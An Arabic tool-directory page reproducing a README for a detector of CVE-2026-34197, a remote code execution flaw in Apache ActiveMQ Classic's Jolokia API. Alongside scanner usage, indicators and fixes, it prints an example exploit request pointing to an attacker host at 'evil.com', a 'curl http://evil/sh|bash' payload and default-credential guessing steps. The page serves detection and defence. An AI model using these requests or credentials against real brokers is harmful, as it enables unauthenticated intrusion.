Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34197 — يكتشف ثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic (CVE-2026-34197) عبر واجهة Jolokia API باستخدام نصوص Python وNmap NSE، مع التحقق من الوصول غير المصادق عليه وقابلية الإصدار للثغرة. | Kitploit
أدوات/GitHubGitHub/keraattin/cve-2026-34197
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الشبكاتاختبار الاختراق
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

يكتشف ثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic (CVE-2026-34197) عبر واجهة Jolokia API باستخدام نصوص Python وNmap NSE، مع التحقق من الوصول غير المصادق عليه وقابلية الإصدار للثغرة.

عرض المستودع
24منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34197 — تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ Classic عبر واجهة Jolokia API

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

ثغرة تنفيذ تعليمات برمجية عن بُعد في Apache ActiveMQ Classic تسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية عن طريق استدعاء عملية MBean الخاصة بـ addNetworkConnector(String) عبر واجهة Jolokia API (/api/jolokia/). يقوم المهاجم بتضمين معامل brokerConfig خبيث يشير إلى ملف Spring XML عن بُعد، والذي يقوم ActiveMQ بجلبه وتحليله، مما يؤدي إلى إنشاء كائنات Java عشوائية وتحقيق تنفيذ التعليمات البرمجية.

في إصدارات ActiveMQ من 6.0.0 حتى 6.1.1، تكون نقطة نهاية Jolokia غير مصادق عليها تمامًا، مما يجعل هذه ثغرة RCE غير مصادق عليها وبدون أي تفاعل من المستخدم.

كانت هذه الثغرة مخفية في قاعدة التعليمات البرمجية لمدة 13 عامًا قبل اكتشافها بمساعدة الذكاء الاصطناعي.


جدول المحتويات

  • حقائق سريعة
  • ما هو Apache ActiveMQ؟
  • الغوص في عمق الثغرة
    • البنية المعمارية: Jolokia و JMX
    • سلسلة الهجوم
    • فجوة المصادقة
  • تحليل التأثير
  • الإصدارات المتأثرة
  • الاكتشاف
    • ماسح Python
    • نص Nmap NSE
    • التحقق اليدوي
  • مؤشرات الاختراق
  • المعالجة
  • المراجع
  • المؤلف

حقائق سريعة

الحقلالتفاصيل
معرف CVECVE-2026-34197
البائعApache Software Foundation
المنتجApache ActiveMQ Classic
الإصدارات المتأثرةجميع الإصدارات قبل 5.19.4 و 6.2.3
RCE غير مصادق عليهاالإصدارات من 6.0.0 حتى 6.1.1 (Jolokia بدون مصادقة)
CVSS v3.18.8 (عالية)
CWECWE-94 — تحكم غير صحيح في توليد التعليمات البرمجية
ناقل الهجومالشبكة
المصادقةمطلوبة في 5.x؛ غير مطلوبة في 6.0.0 حتى 6.1.1
تفاعل المستخدملا يوجد
نضج الاستغلالPoC عام متاح
تم التصحيح فيActiveMQ Classic 5.19.4، 6.2.3
عمر الثغرة~13 عامًا في قاعدة التعليمات البرمجية
الاكتشافبحث ثغرات بمساعدة الذكاء الاصطناعي

ما هو Apache ActiveMQ؟

Apache ActiveMQ Classic هو أحد أكثر وسطاء الرسائل مفتوحة المصدر انتشارًا في النظام البيئي لجافا. يطبّق مواصفات Java Message Service (JMS) ويعمل كالعمود الفقري للاتصال غير المتزامن في آلاف البيئات المؤسسية حول العالم.

يتعامل ActiveMQ مع كل شيء بدءًا من قوائم معالجة الطلبات وخطوط أنابيب المعاملات المالية وصولًا إلى تدفقات بيانات إنترنت الأشياء وحافلات أحداث الخدمات المصغرة. إذا كانت مؤسستك تستخدم خدمات مصغرة قائمة على جافا، أو بنية موجهة بالأحداث، أو أي شكل من أشكال الرسائل غير المتزامنة، فهناك احتمال كبير أن يكون ActiveMQ موجودًا في مكان ما في البنية التحتية.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
عندما يخترق المهاجم ActiveMQ، لا يحصل فقط على شل على خادم واحد. بل يجلس في **مركز كل تدفق رسائل** في المؤسسة، قادرًا على قراءة الرسائل أو تعديلها أو إعادة توجيهها أو حقنها بين الأنظمة الحرجة.

---

## الغوص العميق في الثغرة

### البنية: Jolokia وJMX

**JMX** (Java Management Extensions) هي الواجهة القياسية لإدارة تطبيقات جافا. وهي تكشف عن "MBeans" (Managed Beans) التي تسمح بمراقبة والتحكم في دواخل التطبيق. يكشف ActiveMQ عن MBeans لإدارة الوسطاء (brokers) والطوابير (queues) والمواضيع (topics) والاتصالات والمزيد.

**Jolokia** هو جسر JMX عبر HTTP. فهو يترجم عمليات JMX إلى واجهة برمجة تطبيقات JSON بنمط RESTful، مما يجعل من الممكن إدارة تطبيقات جافا عبر طلبات HTTP بدلاً من الحاجة إلى عميل JMX مخصص.

يأتي ActiveMQ Classic مع Jolokia مدمجًا، ويمكن الوصول إليه عبر `/api/jolokia/` على منفذ وحدة التحكم على الويب (الافتراضي: 8161).```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

هنا تبدأ المشكلة. يكشف Jolokia عن القوة الكاملة لإدارة JMX من خلال واجهة HTTP بسيطة. ومن بين عمليات MBean المتاحة على الوسيط (broker) هي addNetworkConnector(String).

سلسلة الهجوم

تم تصميم عملية addNetworkConnector(String) لإنشاء جسور شبكة بين مثيلات وسيط ActiveMQ. تقبل هذه العملية سلسلة URI تصف كيفية الاتصال بوسيط آخر.

يدعم ActiveMQ مخطط URI من نوع vm:// لاتصالات الوسيط داخل العملية (in-process). تدعم هذه الـ URIs معامل brokerConfig الذي يشير إلى ملف تكوين Spring XML. ويمكن لـ Spring XML إنشاء كائنات Java عشوائية.

إليك السلسلة الكاملة:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ يقوم بالضبط بما صُمم للقيام به: تحميل إعدادات الوسيط (broker). المشكلة أن مصدر الإعدادات يتحكم فيه المهاجم، وSpring XML هو عمليًا صيغة لتنفيذ الأكواد.

### فجوة المصادقة

هذا ما يرفع الثغرة من خطيرة إلى حرجة:

| إصدار ActiveMQ | حالة مصادقة Jolokia | التأثير |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | مصادق عليه (الافتراضيات: admin:admin) | تنفيذ أكواد عن بُعد بمصادقة، وغالبًا يتم تجاوزها بسهولة |
| 6.0.0 إلى 6.1.1 | **بدون مصادقة تمامًا** | **تنفيذ أكواد عن بُعد بدون مصادقة** |
| 6.1.2 إلى 6.2.2 | مصادق عليه | تنفيذ أكواد عن بُعد بمصادقة |
| 5.19.4+ / 6.2.3+ | تم التصحيح | غير معرضة للخطر |

على ActiveMQ من 6.0.0 إلى 6.1.1، تتطلب نقطة نهاية Jolokia **صفر مصادقة**. أي شخص يمكنه الوصول إلى المنفذ 8161 يحصل على تنفيذ أكواد عن بُعد بدون مصادقة.

حتى على الإصدارات التي تتطلب فيها Jolokia مصادقة، فإن بيانات الاعتماد الافتراضية `admin:admin` معروفة على نطاق واسع وغالبًا ما تُترك دون تغيير في بيئات التطوير والاختبار والإنتاج.

---

## تحليل التأثير

**التأثير المباشر على مضيف الوسيط (broker):**
- تنفيذ أكواد عن بُعد كامل بصلاحيات عملية ActiveMQ
- الوصول إلى جميع قوائم انتظار الرسائل والمواضيع والرسائل المخزنة
- القدرة على قراءة/تعديل/حقن الرسائل أثناء النقل
- الوصول إلى ملفات الإعدادات ومخازن المفاتيح وبيانات الاعتماد المخزنة

**التأثير اللاحق (عبر التلاعب بالرسائل):**
- حقن رسائل خبيثة في قوائم انتظار المعالجة
- تعديل المعاملات المالية أو الطلبات أو الأوامر أثناء التنفيذ
- اعتراض البيانات الحساسة المتدفقة عبر الوسيط
- تعطيل جميع الخدمات المعتمدة على الرسائل

**تضخيم المخاطر على مستوى المؤسسة:**
- ActiveMQ يقع عند نقطة التقاطع بين كل تطبيق يستخدمه
- وسيط واحد مخترق يمكن أن يؤثر على عشرات الخدمات المتصلة
- وسطاء الرسائل عادةً ما يكونون في مناطق شبكية موثوقة بوصول واسع
- الحركة الجانبية سهلة من موقع الوسيط في الشبكة```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

الإصدارات المتأثرة

الإصدارالحالة
ActiveMQ Classic 6.2.3+تم إصلاحه
ActiveMQ Classic 5.19.4+تم إصلاحه
ActiveMQ Classic 6.0.0 إلى 6.2.2قابل للاستغلال (6.0.0 إلى 6.1.1 = بدون مصادقة)
ActiveMQ Classic < 5.19.4قابل للاستغلال (بمصادقة)
ActiveMQ Artemisغير متأثر (قاعدة بيانات مختلفة)

الاكتشاف

ماسح Python

يكتشف سكربت Python حالات ActiveMQ القابلة للاستغلال من خلال تحليل متعدد الخطوات.

كيف يعمل:

  1. فحص نقطة نهاية Jolokia — يختبر ما إذا كان /api/jolokia/ متاحًا بدون مصادقة (HTTP 200 = مفتوح، 401 = مطلوب مصادقة)
  2. اختبار بيانات الاعتماد الافتراضية — إذا كان Jolokia يتطلب مصادقة، يحاول admin:admin، user:user، admin:activemq
  3. اكتشاف الإصدار — يفحص صفحات /admin/ و / بحثًا عن سلاسل إصدار ActiveMQ باستخدام مطابقة الأنماط regex
  4. إمكانية الوصول إلى MBean — ينفذ استعلام بحث آمنًا في Jolokia عن org.apache.activemq:type=Broker لتأكيد وجود مسار الاستغلال

لا يتم إرسال أي حمولات استغلال. لا يتم تنفيذ أي أوامر. يلاحظ الماسح فقط إمكانية الوصول إلى نقطة النهاية ومعلومات الإصدار.

الاستخدام:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**الخيارات:**

| العلم | الوصف | الافتراضي |
|------|-------------|---------|
| `-t`, `--target` | عنوان URL واحد للهدف (مثال: `http://host:8161`) | — |
| `-f`, `--file` | ملف يحتوي على عناوين URL للأهداف، واحد في كل سطر (التعليقات بـ `#` مدعومة) | — |
| `-u`, `--username` | اسم المستخدم لمصادقة Jolokia | — |
| `-p`, `--password` | كلمة المرور لمصادقة Jolokia | — |
| `-o`, `--output` | حفظ النتائج في ملف JSON | — |
| `--timeout` | مهلة الاتصال بالثواني | `10` |
| `--verify-ssl` | تفعيل التحقق من شهادة SSL | معطّل |
| `-v`, `--verbose` | إخراج مفصّل مع كامل التفاصيل | إيقاف |

**مثال على الإخراج:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

سكربت Nmap NSE```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**مثال على مخرجات Nmap:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

التحقق اليدوي

إذا كنت تريد التحقق يدويًا باستخدام curl:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
إذا أعادت الخطوة 1 استجابة JSON تحتوي على معلومات وكيل Jolokia، فإن نقطة النهاية غير مصادق عليها. إذا نجحت الخطوة 2 باستخدام بيانات الاعتماد الافتراضية، فستحصل على وصول مصادق عليه. في كلتا الحالتين، إذا كان MBean الخاص بالوسيط (broker) قابلاً للوصول، فإن مسار الاستغلال موجود.

---

## مؤشرات الاختراق

ابحث عن هذه العلامات في بيئتك:

| المؤشر | مكان الفحص | ما الذي تبحث عنه |
|:---|:---|:---|
| وصول Jolokia | سجلات وصول وحدة التحكم | طلب POST إلى `/api/jolokia/` يحتوي على `addNetworkConnector` |
| الجلب الصادر | سجلات الشبكة / جدار الحماية | طلبات HTTP من ActiveMQ إلى مضيفين خارجيين غير متوقعين |
| تحميل Spring XML | سجلات ActiveMQ | إشارات إلى URIs بصيغة `xbean:http://` |
| موصلات الشبكة | إعدادات الوسيط (Broker) | URIs بصيغة `vm://` مع معاملات `brokerConfig` لم تقم بإنشائها |
| العمليات الفرعية | مراقبة العمليات | عمليات غير متوقعة تم إطلاقها بواسطة عملية Java الخاصة بـ ActiveMQ |

**أوامر التحقيق:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

المعالجة

إجراءات فورية (قم بها الآن):

  1. قم بترقية ActiveMQ Classic إلى الإصدار 5.19.4 أو 6.2.3 (حسب الفرع الذي تستخدمه)
  2. قم بتقييد الوصول إلى Jolokia عن طريق إضافة قواعد جدار الحماية أو قوائم التحكم بالوصول (ACL) في الخادم الوكيل العكسي لمنع الوصول الخارجي إلى /api/jolokia/
  3. قم بتغيير بيانات الاعتماد الافتراضية إذا كنت تستخدم admin:admin على وحدة التحكم عبر الويب

على المدى القصير (خلال هذا الأسبوع):

  1. دقق سجلات الوصول إلى Jolokia بحثًا عن علامات الاستغلال (ابحث عن عمليات addNetworkConnector)
  2. راجع موصلات الشبكة على جميع مثيلات ActiveMQ بحثًا عن إدخالات غير مصرح بها
  3. تحقق من الاتصالات الصادرة غير المتوقعة من مضيفي وسيط ActiveMQ
  4. قم بتدوير بيانات الاعتماد لأي خدمات تتصل عبر الوسيط

على المدى الطويل:

  1. تقسيم الشبكة للبنية التحتية لوسيط الرسائل (شبكة VLAN إدارية مخصصة)
  2. المراقبة لأنماط الوصول إلى Jolokia مع تنبيهات عند حدوث عمليات MBean غير متوقعة
  3. قم بتضمين ActiveMQ في عمليات فحص الثغرات الأمنية المنتظمة ودورات إدارة التصحيحات
  4. قم بتعطيل Jolokia تمامًا إذا لم تكن إدارة JMX مطلوبة، أو اربطه بـ localhost فقط

المراجع

  • Horizon3.ai — CVE-2026-34197 ثغرة تنفيذ الأكواد عن بُعد في ActiveMQ عبر Jolokia API
  • SecurityWeek — ثغرة تنفيذ الأكواد عن بُعد كامنة في Apache ActiveMQ Classic لمدة 13 عامًا
  • Help Net Security — ثغرة تنفيذ الأكواد عن بُعد في Apache ActiveMQ CVE-2026-34197
  • CSO Online — Claude يكتشف ثغرة تنفيذ أكواد عن بُعد عمرها 13 عامًا في ActiveMQ
  • CCB Belgium — تحذير: ثغرة أمنية عالية الخطورة في Apache ActiveMQ
  • CSA Singapore — ثغرة أمنية حرجة في Apache ActiveMQ Classic
  • GBHackers — Claude يحدد ثغرة تنفيذ أكواد عن بُعد حرجة عمرها 13 عامًا

المؤلف

Kerem Oruç — مهندس أمن سيبراني

  • GitHub: @keraattin
  • Twitter: @keraattin
تنزيل الأداة